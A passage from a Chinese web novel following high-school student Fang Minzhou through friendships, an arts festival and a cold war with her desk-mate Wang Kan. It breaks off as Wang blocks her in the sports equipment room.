店里其他人不明所以,方敏周这下真要把脸埋进碗里了,元月忍不住轻笑了一声,但也脸红,两个人匆匆吃完剩下的面,把位置让给了正在等位的沈路明和他的朋友。后者也是八班的,方敏周通过他的表情,猜到他似乎和她一样,知道些猫腻。 但表面上,大家都若无其事,就像方敏周目不斜视地经过王衎身边时,元月也假装自己什么都不知道。 “方敏周诶。”郑彦航倒是这时候才看到。 示意王衎,却见他皱眉望着店内,“你们认识吗?” “谁?”郑彦航顺着王衎的目光看过去,看到角落里两个男生,“不认识。” “好像是隔壁八班的。”吴丞说。 郑彦航:“咋了?” “没事,我搞错了。” 八班的,那看来是和方敏周那个朋友关系比较大。 郑彦航和吴丞对视一眼,郑彦航撇嘴,偷偷用手指指了指自己的太阳穴。 走出面馆,方敏周才敢重新说话,她对元月说:“我接下来一个月都不会来吃面了。” 元月笑着安慰她:“没事,我们去吃别的。” 方敏周欲哭无泪。 元月中午回寝室,方敏周陪她走到宿舍楼。 路上,元月和方敏周说起沈路明。方敏周始终默默听着,但听到寒假里元月和沈路明有约在图书馆见面时,方敏周吓了一跳。 “不过那天是周一,我们都忘了周一图书馆不开门哈哈,后来……就去看了电影。” 方敏周松了口气,但随之又是一紧:……看电影? 但看电影及之后发生了什么,元月没说,好像是也没发生什么,她亮晶晶的眼睛看着方敏周,真正想要跟方敏周说的是,“……我们在一起了。” 方敏周有预感,但亲耳听到,还是惊讶。 “其实我没有想到他会告白……” 就在昨天发生的事情,元月都不知道沈路明为什么会突然和她告白,她以为他不会说,她本来也觉得没关系,现在这样就很好,但……“敏周,你知道吗?根本不一样。” 怎么不一样呢?他们是地下恋,相比学校里其他高调的情侣,避免单独吃饭、更不会当众有亲昵的行为,至少在学校里,都还是普通的同学、普通的前后桌,“但我心里知道,他是我男朋友,就感觉……我可以真正开始喜欢一个人了,我的喜欢有一个人他都知道。” 方敏周听得心惊肉跳。 她听过一种说法,恋爱会让人不一样,但元月还是她认识的元月,她很可爱很天真很善良,她也听话懂事乖巧,她不是不担心影响学习,不是不担心被老师还有她那个严厉的哥哥发现,所以,为什么还会冒险呢? 因为特别喜欢、情难自禁? 她想到欧阳茜,所以,原来元月也是一个勇敢的人。 这是勇敢吗? 方敏周有点迷茫。 她们已经走到了宿舍楼下,但天还没有聊完。 女生宿舍楼前有一个小小的花园,立春已过,绿意渐浓,她们坐在长石凳上,晒着正午暖洋洋的太阳,有小小的白色蝴蝶在抽芽的灌木丛间飞过。 元月说,方敏周继续听,听她对沈路明的第一印象,听她怎么喜欢上他的,听她最最最心动的一次经历。 她像只在林间雀跃的小鹿,方敏周心里,也有小鹿在乱撞。 她低下头,看到她们的手在阳光下泛着光,像有海水在流动,健康的指甲是一颗颗细小的粉色贝壳。 不知不觉间,她提到了王衎。 元月和欧阳茜一样,对她和王衎之间的事情都一知半解,但欧阳茜看得明白且自有一套理解,方敏周有时候其实隐隐有些躲着她,但元月不和他们在一个班级,她是更柔软也更抽离的存在。 方敏周一开始讲不明白她的烦恼。 按理说,她已经和王衎说清了,她不会在高中谈恋爱,王衎胡搅蛮缠是他的事情,那么她还在郁闷什么呢?因为她心虚自己知行不一吗? 但元月一直很耐心,方敏周渐渐整理好了自己的想法,像是把自己的所思所想都放到太阳底下一一晾晒干了一样。 她不早恋,但并不会劝阻别人,因为每个人的选择想法不同。 而她归根结底,是在意害怕太多事情。 她怕自己现在说着不谈,未来某天可能就出尔反尔了,这显得她意志力很不坚定,而意志力不坚定,是很严重的思想腐败; 她怕自己成绩退步,也怕连累别人考不好; 她还怕……虽然她是要讨厌王衎的,但她也没那么讨厌他,而也许过段时间,王衎就没兴趣缠着她了。 “我是不是想得太多?”方敏周这么问,但她其实知道答案。 元月点头,方敏周不免失望,却又听她说:“怪不得你成绩这么好!” 方敏周愣住:“……啊?” 元月眼睛里闪着崇拜,“你看你考虑得多细致啊,而且分析得特别到位!” 方敏周:“……” 她哭笑不得。 “害怕很正常啊,我也很害怕啊。”元月靠着方敏周,扯长了自己的袖子,“但因为害怕,才会更清楚自己最想要的是什么,不是吗?” 方敏周微怔,细细回味了下元月说的这句话。 “我不像你,我成绩没那么好,真没考好也没关系,我是没想那么多,但你不要向我学习哦。” 方敏周失笑。 她想起元旦汇演那晚欧阳茜也这样靠着她过,有些事好像确实只是需要倾诉一下而已。能够说出来,就可以得到一点自由。 她们又聊了会,时间不多了,才一个回宿舍,一个回教室。 方敏周边走边问自己,她最想要的,是什么呢? 走进教室,王衎趴在桌上睡觉,估计是感觉到有人靠近,从胳膊肘里抬起脸来,然后起身。 方敏周坐下后,把元月送的小蛋糕吃了。 余光有所察觉,往旁边一瞥。王衎脸朝向了她这边,趴在桌上,悄悄露出一双眼睛看她。见被她发现,又鸵鸟似的把头埋了起来。 方敏周含着叉子,慢慢咽下嘴里的这口蛋糕。 真不知道说什么,她怎么可能不发现?还是他就是故意想让她发现? 但就像王衎说的不能控制,她也不能控制热意爬上她的脸。 现在看来,她和王衎昨晚的那场谈话无疑是失败的,她立的那些要求,王衎有些做到了,有些没做到,东西是没送,但每天晚自习结束后,都会跟着她去车站。 他说:“我是没跟着你回家啊,你家在哪?我只是也来这里乘车而已啊。” 腿长在他身上,方敏周喝令无效也没办法。 但实际情况,好像也没有太糟糕。在都穿着校服的人潮里,方敏周发现其实没有人会注意他们。一切都和以前一样,就像别人看元月和沈路明是普通前后桌,看她和王衎,则是普通同桌,也许还是关系没那么好的。 忧虑仿佛冬日里的蜘蛛在暗处结网,但春天到了,一夜夜的春雨,轻轻的,就融化了那些绵软脆弱的思绪。 蜘蛛去哪里了? 要么就先这样吧。 方敏周也不知道她这么想,是自暴自弃还是顺其自然。 第27章 第 27 章 三月末,学校的艺术…… 三月末, 学校的艺术节开始了,几乎每天都有不同的比赛,陆陆续续大概要举办一个月。 每当这个时候, 方敏周就觉得自己像个局外人, 因为她是毫无特长的那类学生。高一的时候和上次运动会一样, 她被班委拉去凑人头, 只好选了硬笔书法, 拿回来一个鼓励性质的优秀奖。 反正如非必要,今年的艺术节方敏周也不打算参加。她不像有些感性的同学,觉得青春应该留点纪念, 也不喜欢受到过多的关注,那会让她很有压力, 她就想做好自己能做好的事。 她的同桌就不一样了。 “他高一是十佳歌手第六名,看不出来吧。” 郑彦航吹捧, 旁人惊叹, 王衎骄傲, 方敏周意外。 十佳歌手决赛绝对是艺术节最受瞩目的比赛之一了, 方敏周去年也围观过, 但对王衎一点印象都没有。 被王衎频频抛来期待的目光, 方敏周只好实话实说:“我就记得第一名还是第二名唱了美声……” “我唱的《红日》。”王衎给出提示信息。 方敏周想了想,还是摇头。 王衎深呼吸了一口气:“行吧,那我今年拿个冠军你再记住我吧。” 方敏周:“……” 所以说他这个人逻辑思维能力很奇怪, 不管他有没有拿名次,她不是都已经认识他了吗?放狠话的意义何在? 方敏周之前就觉得王衎这种莫名奇妙的笨蛋热血宣言很哗众取宠, “你上次运动会一开始也是这么说的。” 郑彦航哈哈大笑起来,王衎直接锤了郑彦航一拳,郑彦航吃痛就要锁他的喉, 打打闹闹的,还好上课铃马上就响了。 老师让大家拿出昨天写的卷子,她在台上讲题,台下王衎递给方敏周一个小本子。 自从方敏周会把纸条都撕了扔了后,王衎特地买了一个封面精美的小本子用来传话,打赌方敏周不敢把他的本子扔了,那是破坏他人财产。 这次他在上面写:你那么说,其实我会有点被打击到。 他用词好严重,方敏周心下一惊,她先看了眼老师,再瞄了眼王衎。 他手撑腮,表情空空地望着黑板,方敏周的笔尖悬在纸张上,犹豫是不是需要回一下。 虽然她的确是故意泼冷水,但……她只是开玩笑,并不是真的想攻击王衎,但怎么就被打击到了? 抿抿嘴,又看了王衎一眼,而这一眼,她逮住王衎脸上抑不住的一抹笑意,从他偷瞥向她的眼睛里漫出来。 王衎见事情败露,咳嗽一声,把本子拿回来,再递过去:所以来看我唱歌吧^^ 方敏周:“……” 她把本子一合,丢进了她的抽屉里。 没收,她要认真上课了。 王衎介意她高一不认识他,但她偶尔也会在年级一些榜单露名,也不见得他认识她,有什么好计较的。想想他们或许曾经还在校园里擦肩而过过,现在成了同桌,也是奇怪,这种际遇不能细思,想多了觉得缘分过于奇妙和无端,既不知所起,也无法预料所终。 天气渐渐暖和,脱去厚外套,这个星期起,方敏周就重新骑自行车上下学了。比起封闭颠簸的车厢,她其实更喜欢自然风吹在身上的感觉。 车棚离学校的侧门更近,她推着自行车经过重新盛开的紫藤花长廊,走出校门后便骑上车,春夜露水繁重,一路上都是草木疯狂滋长的气息。方敏周很享受这二十分钟左右的车程,如果没有一个王衎在旁边烦她就更好了。 之前王衎顶多在车站目送她上车,现在光明正大地与她同行,质问他,他就说又没规定这条路只能方敏周一个人走,“难不成我要交保护费给你?” 方敏周懒得和他争,但只能接受他送她到小区门口的公交车站,再进一步也不行,因为……要是被她爸妈或者认识的邻居撞见,王衎会被投进旁边的人工湖里。 而这天晚自习结束回家的路上,方敏周听王衎一路哼哼唱唱,不由得想,要不换她早点把他推进湖里算了。 “所以你觉得我初赛唱哪首比较好?” “你自己决定。” “我这不是在征求观众意见吗?” “谁是你观众了?” “你答应要来看我比赛的。” “我哪里答应了?!” 方敏周回完,加快速度,试图甩开王衎,无果,被他用力踩了两圈脚踏板追上,“你真不来啊?为什么不来?同班同学加油下怎么了?” 遇上红灯,方敏周被迫停下,她无可奈何地看向她左边的王衎,“你骑车看路行不行?” 老是找她说话,她都怕出意外。 王衎没想到方敏周同他说这个,愣着应了声,随后扬颜一笑,“知道了。” 近十点的马路不再拥堵,黄澄澄的灯光静静垂落,笼着他们和旁边的香樟树。 路口横过一座历史悠久的过街天桥,骑过这座天桥,就快到方敏周家了。小时候,方敏周觉得这座天桥像天梯,长大后才发现它脱落了的漆皮。听说有人反馈过影响市容,似乎是要重新粉刷一遍。 绿灯亮后,还是方敏周骑在前面,王衎不忘继续追要一个明确的回复,“所以你到底来不来啊,来一下呗?”他宣传起来,“机不可失哦,失不再来哦,过了这村可没这店了哦,听一次少一次哦。” 方敏周烦死了,对着夜空翻了个白眼。 骑到公交车站边停下,方敏周回王衎:“我不知道,到时候再说吧。” 她真不知道。她本身对这些活动就不感兴趣,初赛时间又大概会占用掉周四晚上的第一节晚自习,万一那天作业很多呢?也没有什么好答应的,显得很郑重其事一样,也不知道王衎要唱什么……想起元旦迎新晚会的事,她心有余悸。 王衎还想说什么,但最后似乎觉得自讨没趣,耸耸肩,“行吧,随便你。” 他不高兴才是正常,虽然方敏周并不是故意——其实也许是故意的,想让他尽快知难而退放弃好了,她不会改变念头的。 如果……他这算是在追她的话。 她骑车进入小区,再回过头时,看到王衎已经离开。 但第二天上学,方敏周在车棚刚好碰到王衎,他“哎哟”一声和她打招呼,把车停在她的旁边,心情很好的样子,就像每天新生的太阳。 “你这什么表情?”王衎问。 “……我能有什么表情。”方敏周转身往教学楼走去。 吃烤肉最常遇到的情况:怕焦了,夹起来看看,还是生的;怕里面没熟,多烤了一会,整个焦了。 她现在就是一块烤炉上的肉。 除了十佳歌手比赛外,还有班级合唱比赛。 八班选的演唱曲目是《奔跑》,比赛时间将近,除音乐课外,林斯年和尹梦然有时会组织大家自习课也练习一下,不排队形,直接起立站在位置上唱。 唱了两遍后,王衎有点累了,他等会还要去参加初赛,所以第三遍他就轻了声音随便唱唱。 自己的声音小了,倒是能更听清周边人的声音。 郑彦航故意压低声音拗磁性,吴丞唱歌慢一拍;欧阳茜唱得还行,金柏浩唱得不怎么样,没技巧没感情,大白嗓一个,而方敏周……她张着嘴没出声,竟然是在对口型? 王衎瞪大眼睛,没想到方敏周比他还能偷懒,也没想到方敏周是个会偷懒的人,但她并不像有些人,一边唱还一边写作业。很快,王衎发现,方敏周就是很认真地在假唱。 ……什么情况? 最后一遍,尹梦然呼吁大家唱大声点,刚开头,就有个不和谐的过大的男声,全班哄堂大笑。 “唱的难听的就自觉小声点好吧!”有人喊道。 “就属于唱的最难听!” 也有没笑的人,比如方敏周。 重新开始的最后一遍,王衎依然没有听见方敏周的声音,她好像还是有唱,但实在太小声,在全班的声势下,即使王衎就站在她旁边,也完全听不到她的声音。 方敏周早就发现了王衎的目光,下了课,他更是直白地观察她,像是要找出什么秘密。 她写起作业,视若无睹。 “你不喜欢唱歌?”他忽然问。 方敏周怎么也没有想到会是这个问题,她说:“没有啊。” “那你刚才为什么不唱?” “什么?”方敏周一副听不懂的样子,“我唱了啊。” 王衎诧异,又想笑,方敏周居然也会说谎?他今天真的是大开眼界了,“你没有,我都没听见你的声音。” “……我唱没唱关你什么事?” 王衎本来只是随口一问,这下却是真的好奇方敏周的歌声了。 他靠近她,脑袋枕在手臂上,“你唱句我听听?” 方敏周当然没理他。 王衎有点猜到了原因,他还以为方敏周眼里只有学习,没想到对自己“苛求”至此,难怪看不上他——但唱歌可是他的强项,想到这,王衎觉得自己表现的机会来了,“你唱句我听听呗,我可以教你。” “别吵我。” “唱句呗,我还从来没有听过你唱歌……又生气了?” 方敏周找出mp3要带耳机,王衎阻止,手不小心碰到她,被她反应极快地挥开。 沉默。 方敏周感到了指尖隐隐的麻感,她反应太大了点,不是嫌弃或者恶心被他碰到,相反,她…… 而王衎刚才还仰着脸弯着的眼睛怔愣片刻,变成了乌云下风雨欲来的水面。他有点受伤地望着她,眼里也有一分怒意和嘲讽,似乎要她一个解释。 他成绩变化大,性格还是那样,情绪也都写在脸上。 方敏周不是不知道她的态度有点伤人,只是、只是……但被王衎的眼神要挟,她的心也硬起来,难不成她还要跟他说对不起? 都说了让他别吵别吵…… 为什么非要让她唱歌?为什么明明都猜到她的痛处了还硬是拉她下水?看她出丑他很高兴?她要是唱歌好听……她就唱了啊,这么简单的道理,他为什么就顾着自己开心? 方敏周重新戴上耳机。 王衎这次直接摘了她的耳机。 “王衎!” 突然的安静中,一小半班级同学的视线汇集处,方敏周和王衎都冷冷地盯着对方。 僵持以方敏周再一次戴上耳机和王衎离开教室告终。 方敏周低头学习,无视大家的目光,她莫名又想起王衎说的声东击西,现在是鸡飞蛋打。无所谓他们两个在别人眼中是什么样,天知道她几乎没有和同学起过争执,更何况这种频率。 王衎没变,她也不应该变。 方敏周强迫自己看题目、看题目,尚未百分百集中注意力,因此余光看到桌角多了一个耙耙柑,抬起脸,欧阳茜对她安慰性的一笑,下巴点了点王衎的空位子,面露嫌弃。 方敏周也牵了牵嘴角。 要不是她没有哭,该是破涕为笑。 第28章 第 28 章 第四节自习课王衎又…… 第四节自习课王衎又逃课了。 方敏周心情非常复杂, 她索性什么都不去想。 下了课,她和欧阳茜去吃晚饭。方敏周不知道她是体贴还是不感兴趣,反正什么也没问, 聊她最近在追的电视剧, 方敏周听得也很开心。 吃完饭慢慢踱回教室的途中, 方敏周总觉得好像忘了什么事情, 直到欧阳茜提起来, 她问她:“十佳歌手海选,你去吗?” 方敏周脚步微顿,有些犹豫。 欧阳茜满不在乎地说, “我就是问你去不去,因为我想过去看看, 不是因为王衎哦,我们班参赛也不是只有他一个, 是我不想上晚自习。”她特别强调, “如果你本来就想去, 那我们一起, 你也不用管谁在不在, 不过如果你本来就不想去, 那我就自己过去啦。” 她多坦荡。 方敏周认真想了想,“你去吧。” 欧阳茜点头:“好。” 第一节晚自习班上人少了一小半,方敏周前后只有金柏浩还在。教室比平时更安静, 她的心情也挺平静的,但等到比赛临近尾声, 大家陆陆续续地回到教室,细细簌簌的声音起起伏伏、没完没了,方敏周也变得有些烦躁。 过了会, 欧阳茜先回来,再是后排的郑彦航和吴丞,她旁边的椅子始终没有被谁拉开,方敏周想起那个靴子落地的寓言故事,但等来的是下课铃响。 方敏周有点搞不懂自己。 她还是觉得王衎过分,所以不想去看他比赛,也想着要是他因此失望、生气然后再不烦她最好不过。她有先见之明地没有承诺王衎任何事,但正是因为这样,因为知道他的心愿其实再小不过,方敏周还是有些许内疚。 她是故意不去的,但又不是故意要谁难过。 神明听到凡人的心愿,大概都是抱着悲悯的心情吧,可她并没有想高高在上。 不知道他海选结果如何,没有人跟她说,因为没有人知道她会关心。 金柏浩找她对答案,因为好几道答案没对上而眉头紧皱,连忙重新计算,结果错的人是方敏周。金柏浩有些惊讶,方敏周也尴尬一笑。 第二节晚自习,王衎回来了。 铃声响后过去大概十分钟,方敏周发现自己其实一直在放空,回过神,心里冷不丁打了个哆嗦。 她像是站在夜晚的大海边上,涛声滚滚,但她什么也看不见。 她很小心、很小心地偷看了眼旁边的王衎,看到他反而在很认真地在写作业,安静的教室里,方敏周感觉自己像被抽了一个无声的耳光。 但也好,她彻底冷静下来了。 她愚蠢地才意识到,她和王衎之间的联结其实很脆弱,一切都是王衎的自作主张。他主动,她就被动,所以才会不堪其扰。现在这个单向的闸阀关了,她不是接水的水池,难道还要期待水龙头其实没有拧紧还会继续滴下水来吗? 第二节晚自习结束,王衎离开座位,上课铃响时再回来。 第三节晚自习结束,他收拾好书包很快就走了,被推后的椅子在地面上划拉,发出刺耳的摩擦声。 方敏周还没写完作业,因为担心再算错,一些题目她做了两遍。 大概可以说,即使是他们关系最恶劣的阶段,王衎也是找骂似的要找她茬。 原来那个时候他真的是找骂,原来他是能够闭嘴的。 教室里有人大声聊天说笑、有人在走廊外追逐打闹,稀稀落落的嘈杂声中,方敏周继续写作业,直到教室内外都没了声音,直到她把作业写完,班级里只剩下她和孙彤。 孙彤还没有要起身的意思,方敏周犹豫了一瞬,背上书包,沉默地从教室后门离开。 她比平时晚了大约二十分钟,去车棚取车的路上,一个人都没有碰到,以至于当她走近车棚,看到几米之外站在路灯边缘里的身影时,她以为撞鬼,但鬼没有影子。 王衎站在阴影里,整个人被灯光蒙了一圈光边,看不清神情。 方敏周不知道他这是什么意思,但她已经修炼好了习性,脚步未停,取了车走向侧门,不管身后王衎是否有跟上来。 “及时“是一个很残酷的词语,方敏周想,但凡他刚回来的时候和她说句话,无论好话还是坏话,或者她能够主动问问他比赛怎么样,可能他们之间也能好好聊聊。 至于现在,没什么好说的。 四月的紫藤花开了,长廊下坠着柔软的风铃般的花穗,校门的绿荫道的枝叶在头顶织成一片浓密的云。 右拐,六个红绿灯,等到经过了她家楼下的公交车站,方敏周才在拐弯进小区的时候微微往后看了眼,王衎停在公交车站。 她回到家,妈妈问她:“今天怎么这么晚回来?” 在妈妈的关心下,方敏周忽然觉得她其实也很幼稚,“……在教室多看了会书。” 赵宁英不太赞成地担心道:“可以回家再看嘛,下次还是早点回来,这么晚回家不安全。” “知道了。” “要不以后让爸爸去接你?” “不用不用,爸爸今天晚上不还加班吗?”方敏周说,转移话题,问妈妈,“炖了什么,好香?” 赵宁英叹了口气,“鸽子汤,你先喝,不用等你爸。” 当一件事情发生时,任谁其实都无法预测其真正的走向。方敏周觉得自己已经因为王衎烦恼而浪费了太多时间和精力,所以她强迫自己按下了思考的中止键,吃完夜宵,再看会书,洗漱,睡觉,第二天去到教室,依然零交流的早自习后,方敏周放弃得很干脆。 事实证明她的决定和想法都没错,因为一天下来,她和王衎一个眼神都没对上。 其实这就是回到他们刚认识那会的状态,她讨厌他,不想理他,他也对她没兴趣。 但是这天晚自习结束,方敏周再到车棚,又看到明明一下课就走了的王衎。 王衎再一次沉默地跟了她一路。 方敏周一天的心情跌宕起伏,从生气到冷漠再到困惑,以及一丝丝幽魂般的、不该有但无法删除的期待——这种心情在接下来的整个周末像首歌似的在她心中循环播放,不,它不是歌,是抓不到的扰人蚊蝇声。 嗡嗡嗡嗡嗡,吵得她觉得自己像颗烂果子,等到周一上学,脓流得更恶心。 王衎依然避着同她说话。 自习课又要练习合唱曲目。 方敏周还是对口型,并感觉到王衎的目光数次停留在她身上。 两次还是三次?她没有记录,也无从分辨他眼神的含义,是观察还是打量,是好奇还是嘲弄。 而她这一次清楚地听清了王衎的声音,他唱得很好,如果教她、教任何人,都有资格,只是她不想被教。 她还是知道他进了决赛。 说起来他们陷入这场不知是否会和解的冷战的缘由,几天时间过去,彼时的情绪已然像被静置了多天的水,有了奇怪的味道。皱巴巴的纸团丢进去,吸满水变得平整,吸满水变得透明,但一碰即破。周边人或多或少都有所察觉,但谁都没说什么,假装无事发生。 晚上没有人的车棚,王衎依然等在那里。 方敏周忽然想知道其他人来取车的时候有没有被他吓到过,有些校园鬼故事的谣言就是这么被传出来的。 她绷着脸过去取车,王衎又一次跟上的时候,方敏周有转身骂人的冲动。 他既然等的人是她,那为什么白天不同她说话?为什么现在也不说话? 方敏周堵着一口闷气,在夜色中越骑越快。 即将抵达的十字路口,绿灯还有六七秒钟,方敏周犹豫要不要抓紧骑过去,估计能够把王衎甩掉。 突然有速度极快的电动车从她旁边贴边窜过,方敏周车把一歪,车子堪堪停在马路牙子边上,而那辆电动车踩着绿灯冲过两道斑马线,扬长而去。 方敏周心有余悸,怒气也慢了一步涌上,紧接着听见有人喊她,回头的瞬间,王衎一个急刹车停在她面前,喘着气:“没事吧?!” 他着急忙慌的样子让方敏周一愣,而王衎似乎也意识到了,面露尴尬扭过脸,再转过头时莫名恶声道:“你会不会骑车啊?差点被撞到你知道吗?” 方敏周本惊讶的神情收起,冷了脸,“又不是我的问题。” “怎么不是你的问题?”王衎振声道,“马上要红灯了你还不停下来,万一……” 方敏周方才微微的感动荡然无存。 明明就不是她的错!是那个人要闯红灯的!他难道看不出来? 她厌烦地把车头转向另一边等红灯转绿,不想再理王衎,而他动了气,用车头别她。方敏周这些天积累的情绪瞬间爆发,她用力地直接撞了一下王衎,“你有病啊,到底要干嘛?!” 两辆自行车碰撞的声音在空荡的马路上回响,王衎猝不及防,双腿撑地才没摔倒,他吼道:“是啊,我是有病,我有病我才——” 戛然而止。 他恨恨地瞪着她,眼睛在昏黄的灯光下发亮,仿佛因为她受到了多大的伤害和侮辱,但他的委屈在方敏周看来根本不可理喻。 红灯马上就要结束,十、九、八、七……方敏周没有耐性和兴趣再等待王衎的下文,她骑上车直接绕过他。 这次王衎没有再跟上来。 第29章 第 29 章 有生之年,方敏周只…… 有生之年, 方敏周只和爸妈小小地冷战过,战争的结局是爸妈喊她吃饭,双方不言而和。 现在多了个王衎。 冷了几天, 他开始找事。 方敏周被老师叫起来回答问题, 还没开口, 王衎先在底下发出一声意味不明的冷哼。 方敏周张着的嘴闭上, 老师拧眉:“王衎, 你干什么?” 王衎用力咳嗽两声:“不好意思老师,突然喉咙有点难受。” 班级有人吃吃低笑。 老师只好叫方敏周继续回答问题。 又或者平常一下课就没影的人,现在每天屁股都黏在椅子上, 像个门神,方敏周要出去, 他凳子敷衍往前,让出奢侈的一道。这种时候, 如果郑彦航和吴丞在, 会极自觉地把桌子往后拉, 陪着笑请方敏周出去。 方敏周也不会不好意思, 王衎造的孽, 谁让他们是他哥们。 她一开始不是不生气, 真想好好和王衎吵一架,但一次两次,他捉弄的把戏乏味无聊, 方敏周变得觉得王衎很可悲。 她想到一些喜欢乱吠的狗,又不是真的要咬人, 但吵得厉害。 忽视是最好的解决方式,搭理他反而遂了他意。 但每天晚自习放学后,他虽然总是第一批出教室, 到头来,方敏周还是会在车棚看到他。 换季之际,很多人感冒,方敏周前后左右倒都还康健,但王衎像得了精神方面的疾病。她上回看杂志看到,春天其实是很容易精神病发作的季节。 方敏周不知道他到底是什么意思,他越是反复无常,她也越是冷漠。接连几天都是零交流,就像最近的阴雨天气,不过他们之间本来也没什么共同话题。 这天中午,中午方敏周和欧阳茜一起去食堂,人多拥挤,地面湿滑,她们排得这条队伍动得最慢,一队人纷纷左探右望。 有几位见状,没什么道德地插到其他队伍的朋友前面去,这一走,队伍反而快了不少,但方敏周发现她前面的人变成了王衎。 她第一反应是和欧阳茜换个顺序,但王衎也发现了她,方敏周便站定了。 一个拳头的生理距离,前胸贴后背,要比身高似的,但两人之间的矛盾犹如峡谷裂缝,于是一前一后,默然随着队伍往前挪动。 郑彦航和吴丞打完菜才看到方敏周和欧阳茜,刚想说真巧,要不要一起吃,看明白了嘴抿得笔直的欧阳茜的眼色,恍然大悟,忙不迭找空位去。 方敏周站在王衎的斜后方看今天的菜色,还行,但她想吃的糖醋排骨只剩下一人份的量了……她下意识地抬眼瞄了眼王衎,不料对上视线,他也在看她,然后手一指,对阿姨说:“排骨。” 方敏周:“……” 她重新站回到王衎身后,忍住冲他后脑勺来上一拳的冲动。 王衎打好了菜,掏出饭卡,“滴——余额不足。” 王衎一愣,又刷了一下,卡里的钱并没有因此凭空多出来。 “卡里没钱啦?找同学借下饭卡?”阿姨见怪不怪。 方敏周和王衎的目光又对上了,他大概觉得丢脸,表情有点尴尬。方敏周大人大量,上前一步正准备帮他刷卡,却听王衎说:“不好意思阿姨,我不要了。” 阿姨:“啊?” 王衎直接离开了窗口。 “给我吧阿姨。”方敏周继续刷了卡。 男生可怜的自尊心,她想。 方敏周接过餐盘一看,除了她想吃的糖醋排骨,还有肉末茄子和韭白炒鸡蛋。真丰富,平时去小卖部刷卡也是大手大脚,怪不得卡里会没钱。 欧阳茜之后还排着十几个人,他重新排队估计只有剩菜。不过这不是她需要担心的,他总归不会没饭吃,就算一顿没吃,也饿不死。 方敏周先去找位子,找到一个人在吃饭的元月,“怎么你一个人?” “宿舍晚上又停水了,她们先回去洗头,我下午再洗。” “学校这水管是不是要修一下?” 元月笑:“好像就是在修……” 欧阳茜打好菜过来,一听,不免帮忙吐槽一中的宿舍环境。 “还好啦。”元月很乐天。 方敏周把还没动的排骨夹给两人,元月倒是发现了奇怪的地方,“你今天怎么点了茄子?” “你不喜欢吃茄子?”欧阳茜问方敏周。 方敏周:“……喜欢吃啊。” 元月:“有葱。” 欧阳茜:“是哦。” 方敏周:“挑出来就行了。” 欧阳茜见状,摇摇头,看元月还有些懵,干脆简单转述了下她刚才目睹的小插曲,末了,评价一句:“王衎太要面子了。” 方敏周其实并不觉得,他的脸皮时厚时薄,但嘴上淡淡附和:“是吧。” “我妈说了,好面子的男人不能要。” 方敏周噎住,“……阿姨还和你说这个?” 欧阳茜嘿嘿一笑,“没,我乱说的,这叫引用,比如——村上春树曾经说过,没有人喜欢小气的男人。” 方敏周失笑。 “你们……又吵架了啦?”元月小心翼翼地关心,“真吵架了?” 方敏周脸上的笑意敛了点,这个真假的鉴定是什么?她还是那两个字:“是吧。” “为什么?” 方敏周顺着元月的问题,再度冷静地回想了一遍事情经过。 起初是因为他沾沾自喜地硬是想教她唱歌,后来吵架冷战,谁也不理谁,现在反而变成互相怄气的状态了。 她迟迟没说话,元月以为自己说错了话,忙说:“没事,我就是随便问问。” 方敏周摇摇头,盘子中的排骨还剩两块,虽然都是糖醋排骨,但呈现截然不同的形状,“我之前和你说过,本来我就看他不顺眼。” 欧阳茜微微挑眉,她倒是不知道。 “但其实也没有人能百分百能合得来吧……”元月说,说完又赶紧摆摆手,“我没有替他说话的意思!” “我知道。”方敏周笑。 欧阳茜坐在方敏周的旁边,碰了碰她,“还是听我的,咱不要了。” 大概半是玩笑半是认真,方敏周耳热,心情却是冰凉的。 想到下午自习课又要练习合唱,方敏周不知道担心王衎会制造事端的自己是不是杞人忧天。 事端倒是来得更早。 下午的第二节课是体育课,没有下雨,还是在室外上。 自由活动时间,方敏周一般都是和欧阳茜打羽毛球,今天因为篮球场地积水严重,来打羽毛球的男生变多了,包括王衎他们。也不知道是谁好事吆喝起男女混合双打,好几次,方敏周和王衎都是对手。 方敏周打球只是消遣,王衎倒是杀气十足,连输了几盘,方敏周也被激怒了,搭档到林斯年,终于赢了一回。最后一球由她扣杀,王衎完全没接到。 方敏周出了口恶气,高兴同林斯年击掌庆祝了一下,再看王衎——原来脸黑真不是书里的夸张形容。 只见到他走到场边,一把把拍子扔给吴丞,“不打了。” 全程坐一旁旁观的吴丞慌忙接住拍子,“……我也不想打啊。” 还真的是要面子,输不起,方敏周心想。 体育课快结束的时候,天色变得阴沉,风也变大,羽毛球也没办法再打下去。差不多到时间,老师吹响口哨,让大家还了器材准备集合。 器材室在操场看台楼梯底下,和常规的教室差不多大小,更高一点,靠门的墙壁最高处开了四扇正方型小窗。一半空间堆满了器材,部分经年未用,积累了厚厚的尘埃和霉味,下雨天里,更多了一份潮湿。 方敏周刚把球拍放好,忽然听见一声响,以为是风太大把门都给刮上了,转过身,却是王衎站在门口。 门是铁门,被关上,室内顿时陷入幽闭昏暗中,其中一扇窗户投下来的微光划在她与王衎之间的灰色水泥地上。 封闭的空间里只有他们两个人,一时间,方敏周心跳如鼓。 反应过来后,方敏周觉得自己没有必要紧张,难不成王衎真的敢做什么事吗? 她向他——朝门口走去,那道光屹然未动,王衎也没有动。 然后他往右横一步,挡住了她。 方敏周立刻往左边走,这次王衎伸手拦她,方敏周直接打掉他的手臂,王衎贴过来就要拉住她的手腕。 这下方敏周真的被他吓到了,连连退了几步,“哐啷”一声,腰碰到身后的不锈钢收纳球筐,像被逼到了悬崖边上。她屏住一口气怒瞪着王衎,心脏几乎要从嗓子眼跳出来,“你疯了?!” 王衎怔然,呼吸急促。 他一腔郁结的妒火,整个人像一条内里棉花团成块的棉被,但方敏周声音里的微颤和眼神里的厌恶,像只手,把他狠狠抖落了一番。他发现,方敏周居然在害怕他。 棉被破了个大洞,可笑地晾晒在风雨欲来的午后,吸足了空气里的湿气。 张了张嘴,想要解释,只是身体微微动了一下,方敏周却防卫性地扒住了球筐,又是哗啦轻响,像是马上就要拿球砸他。 筐内的篮球颜色深浅不一、脏污程度不同,一颗颗垒起,堵住发胀的眼眶。 王衎苦笑,骨子里那点混不吝在这当口涌上,“……你这么怕我?我能干什么?” 方敏周气得说不出话。 外头先传来声音,“门怎么关了?” 方敏周抓紧了手里的不锈钢栏杆,涂漆没有涂平整,中间有粒凸起硌着她的手心。 “不知道诶,去问下老师?” 脚步声远去,方敏周高悬的心像坏了的钟摆在心中失控摇晃。 她赶紧就要出去,王衎仍然拦着,半圈住她,方敏周这才意识到两人之间王衎身高的优势。 